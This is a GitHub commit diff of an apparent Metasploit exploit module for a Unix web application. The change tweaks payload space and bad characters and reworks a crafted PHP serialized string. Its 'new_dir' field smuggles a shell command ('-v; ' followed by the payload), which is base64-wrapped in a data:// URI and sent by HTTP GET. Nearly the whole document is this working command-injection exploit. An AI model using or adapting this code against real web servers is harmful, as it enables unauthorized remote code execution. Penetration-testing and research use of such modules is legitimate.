File tree Expand file tree Collapse file tree 1 file changed +5
-5
lines changed
modules/exploits/unix/webapp Expand file tree Collapse file tree 1 file changed +5
-5
lines changed Original file line number Diff line number Diff line change @@ -36,9 +36,9 @@ def initialize(info={})
36
36
'Privileged' => false ,
37
37
'Payload' =>
38
38
{
39
- 'Space' => 225 ,
39
+ 'Space' => 250 ,
40
40
'DisableNops' => true ,
41
- 'BadChars' => "\x00 \ x2f " ,
41
+ 'BadChars' => "\x2f " ,
42
42
'Compat' =>
43
43
{
44
44
'PayloadType' => 'cmd' ,
@@ -80,10 +80,10 @@ def exploit
80
80
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
81
81
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
82
82
p << 's:7:"new_dir";s:'
83
- p << ( payload . encoded . length + 14 ) . to_s
84
- p << ':"f --help && '
83
+ p << ( payload . encoded . length + 4 ) . to_s
84
+ p << ':"-v; '
85
85
p << payload . encoded
86
- p << ' # ";s:4:"name";s:4:"test";}}}'
86
+ p << '; ";s:4:"name";s:4:"test";}}}'
87
87
payload = "data://text/plain;base64,#{ Rex ::Text . encode_base64 ( p ) } "
88
88
send_request_cgi (
89
89
'method' => 'GET' ,
You can’t perform that action at this time.
0 commit comments